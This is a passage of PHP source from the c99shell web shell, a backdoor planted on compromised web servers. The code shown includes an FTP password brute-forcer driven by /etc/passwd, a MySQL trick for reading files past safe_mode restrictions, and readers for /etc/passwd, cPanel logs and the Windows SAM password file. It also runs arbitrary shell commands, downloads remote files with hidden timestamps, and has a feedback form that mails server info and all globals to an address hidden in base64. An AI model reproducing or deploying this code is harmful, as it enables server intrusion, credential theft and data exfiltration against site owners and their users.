     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} 
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes")
    {
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock); 
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = false;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = ""; 
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb); //comment it if you want to leave database
    }
   }
  }
 }
 echo "</td></tr></table>";
 if ($sql_sock)
 {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
 }
 echo "</table>";
}
if ($act == "mkdir")
{
 if ($mkdir != $d)
 {
  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  echo "<br><br>";
 }
 $act = $dspact = "ls";
}
if ($act == "ftpquickbrute")
{
 echo "<b>Ftp Quick brute:</b><br>";
 if (!win) {echo "This functions not work in Windows!<br><br>";}
 else
 {
  function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  {
   if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
   else {$true = true;}
   if ($true)
   {
    $sock = @ftp_connect($host,$port,$timeout);
    if (@ftp_login($sock,$login,$pass))
    {
     echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
     ob_flush();
     return true;
    }
   }
  }
  if (!empty($submit))
  {
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
   $fp = fopen("/etc/passwd","r");
   if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
   else
   {
    if ($fqb_logging)
    {
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
     else {$fqb_logfp = false;}
     $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
    }
    ob_flush();
    $i = $success = 0;
    $ftpquick_st = getmicrotime();
    while(!feof($fp))
    { 
     $str = explode(":",fgets($fp,2048));
     if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
     {
      echo "<b>Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
      $fqb_log .= "Connected to ".$SERVER_NAME." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      $success++;
      ob_flush();
     }
     if ($i > $fqb_lenght) {break;}
     $i++;
    } 
    if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
    $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
    if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
    fclose($fqb_logfp);
   }
  }
  else
  {
   $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
   $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
   echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";
  }
 }
}
if ($act == "d")
{
 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
 else
 {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win)
  {
   echo "<tr><td><b>Owner/Group</b></td><td> ";      
   $tmp = posix_getpwuid(fileowner($d));
   if ($tmp["name"] == "") {echo fileowner($d)."/";}
   else {echo $tmp["name"]."/";}
   $tmp = posix_getgrgid(filegroup($d));
   if ($tmp["name"] == "") {echo filegroup($d);}
   else {echo $tmp["name"];}
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
 }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;}
if ($act == "security")
{
 echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>";
 if (!$win)
 {
  if ($nixpasswd)
  {
   if ($nixpasswd == 1) {$nixpasswd = 0;}
   echo "<b>*nix /etc/passwd:</b><br>";
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
   echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>";
   $i = $nixpwd_s;
   while ($i < $nixpwd_e)
   {
    $uid = posix_getpwuid($i);
    if ($uid)
    {
     $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
     echo join(":",$uid)."<br>";
    }
    $i++;
   }
  }
  else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
 }
 else
 {
  $v = $_SERVER["WINDIR"]."\repair\sam";
  if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";}
  else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";}
 }
 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
}
if ($act == "mkfile")
{
 if ($mkfile != $d)
 {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
 }
 else {$act = $dspact = "ls";}
}
if ($act == "encoder")
{
 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
 foreach(array("md5","crypt","sha1","crc32") as $v)
 {
  echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
 }
 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly>
 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
 echo "<center>base64_decode - ";
 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
 else
 {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("\0","[0]",$debase64);
  $a = explode("\r\n",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
 }
 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
 $c = strlen($encoder_input);
 for($i=0;$i<$c;$i++)
 {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
 }
 echo "\" readonly><br></center></form>";
}
if ($act == "fsbuff")
{
 $arr_copy = $sess_data["copy"];
 $arr_cut = $sess_data["cut"];
 $arr = array_merge($arr_copy,$arr_cut);
 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
}
if ($act == "selfremove")
{
 if (($submit == $rndcode) and ($submit != ""))
 {
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
 }
 else
 {
  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  $rnd = rand(0,9).rand(0,9).rand(0,9);
  echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>";
 }
}
if ($act == "feedback")
{
 $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU=");
 if (!empty($submit))
 {
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  if (!empty($fdbk_ref))
  {
   $tmp = @ob_get_contents();
   ob_clean();
   phpinfo();
   $phpinfo = base64_encode(ob_get_contents());
   ob_clean();
   echo $tmp;
   $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  }
  mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
 }
 else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
}
if ($act == "search")
{
 echo "<b>Search in file-system:</b><br>";
 if (empty($search_in)) {$search_in = $d;}
 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
 if (!empty($submit))
 {
  $found = array();
  $found_d = 0;
  $found_f = 0;
  $search_i_f = 0;
  $search_i_d = 0;
  $a = array
  (
   "name"=>$search_name, "name_regexp"=>$search_name_regexp,
   "text"=>$search_text, "text_regexp"=>$search_text_regxp,
   "text_wwo"=>$search_text_wwo,
   "text_cs"=>$search_text_cs,
   "text_not"=>$search_text_not
  );
  $searchtime = getmicrotime();
  $in = array_unique(explode(";",$search_in));
  foreach($in as $v) {c99fsearch($v);}
  $searchtime = round(getmicrotime()-$searchtime,4);
  if (count($found) == 0) {echo "<b>No files found!</b>";}
  else
  {
   $ls_arr = $found;
   $disp_fullpath = true;
   $act = "ls";
  }
 }
 echo "<form method=\"POST\">
<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\">
<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text
<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>";
 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($act == "chmod")
{
 $mode = fileperms($d.$f);
 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
 else
 {
  $form = true;
  if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
   else {$err = "Can't chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
 }
}
if ($act == "upload")
{
 $uploadmess = "";
 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
 if (empty($uploadpath)) {$uploadpath = $d;}
 elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";}
 if (!empty($submit))
 {
  global $HTTP_POST_FILES;
  $uploadfile = $HTTP_POST_FILES["uploadfile"];
  if (!empty($uploadfile["tmp_name"]))
  {
   if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
   else {$destin = $userfilename;}
   if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  }
  elseif (!empty($uploadurl))
  {
   if (!empty($uploadfilename)) {$destin = $uploadfilename;}
   else
   {
    $destin = explode("/",$destin);
    $destin = $destin[count($destin)-1];
    if (empty($destin))
    {
     $i = 0;
     $b = "";
     while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
   }
   if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
   else
   {
    $st = getmicrotime();
    $content = @file_get_contents($uploadurl);
    $dt = round(getmicrotime()-$st,4);
    if (!$content) {$uploadmess .=  "Can't download file!<br>";}
    else
    {
     if ($filestealth) {$stat = stat($uploadpath.$destin);}
     $fp = fopen($uploadpath.$destin,"w");
     if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
     else
     {
      fwrite($fp,$content,strlen($content));
      fclose($fp);
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
     }
    }
   }
  }
 }
 if ($miniform)
 {
  echo "<b>".$uploadmess."</b>";
  $act = "ls";
 }
 else
 {
  echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\">
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=\"submit\" name=\"submit\" value=\"Upload\">
</form>";
 }
}
if ($act == "delete")
{
 $delerr = "";
 foreach ($actbox as $v)
 {
  $result = false;
  $result = fs_rmobj($v);
  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
 }
 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
 $act = "ls";
}
if (!$usefsbuff)
{
 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
}
else
{
 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
 elseif ($actpastebuff)
 {
  $psterr = "";
  foreach($sess_data["copy"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
   if ($copy_unset) {unset($sess_data["copy"][$k]);}
  }
  foreach($sess_data["cut"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
   unset($sess_data["cut"][$k]);
  }
  c99_sess_put($sess_data);
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  $act = "ls";
 }
 elseif ($actarcbuff)
 {
  $arcerr = "";
  if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  else {$ext = ".tar.gz";}
  if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  $cmdline .= " ".$actarcbuff_path;
  $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  foreach($objects as $v)
  {
   $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
   if (is_dir($v))
   {
    if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
    $v .= "*";
   }
   $cmdline .= " ".$v;
  }
  $tmp = realpath(".");
  chdir($d);
  $ret = myshellexec($cmdline);
  chdir($tmp);
  if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  $ret = str_replace("\r\n","\n",$ret);
  $ret = explode("\n",$ret);
  if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  foreach($sess_data["cut"] as $k=>$v)
  {
   if (in_array($v,$ret)) {fs_rmobj($v);}
   unset($sess_data["cut"][$k]);
  }
  c99_sess_put($sess_data);
  if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  $act = "ls";
 }
 elseif ($actpastebuff)
 {
  $psterr = "";
  foreach($sess_data["copy"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
   if ($copy_unset) {unset($sess_data["copy"][$k]);}
  }
  foreach($sess_data["cut"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
   unset($sess_data["cut"][$k]);
  }
  c99_sess_put($sess_data);
  if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  $act = "ls";
 }
}
if ($act == "cmd")
{
if (trim($cmd) == "ps -aux") {$act = "ps_aux";}
else
{
 @chdir($chdir);
 if (!empty($submit))
 {
  echo "<b>Result of execution this command</b>:<br>";
  $olddir = realpath(".");
  @chdir($d);
  $ret = myshellexec($cmd);
  $ret = convert_cyr_string($ret,"d","w");
  if ($cmd_txt)
  {
   $rows = count(explode("\r\n",$ret))+1;
   if ($rows < 10) {$rows = 10;}
   echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  }
  else {echo $ret."<br>";}
  @chdir($olddir);
 }
 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
 echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == "ls")
{
 if (count($ls_arr) > 0) {$list = $ls_arr;}
 else
 {
  $list = array();
  if ($h = @opendir($d))
  {
   while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
   closedir($h);
  }
 }
 if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";}
 else
 {
  //Building array
  $objects = array();
  $vd = "f"; //Viewing mode
  if ($vd == "f")
  {
   $objects["head"] = array();
   $objects["dirs"] = array();
   $objects["links"] = array();
   $objects["files"] = array();
   foreach ($list as $v)
   {
    $o = basename($v);
    $row = array();
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
    elseif (is_dir($v))
    {
     if (is_link($v)) {$type = "LINK";}
     else {$type = "DIR";}
     $row[] = $v;
     $row[] = $type;
    }
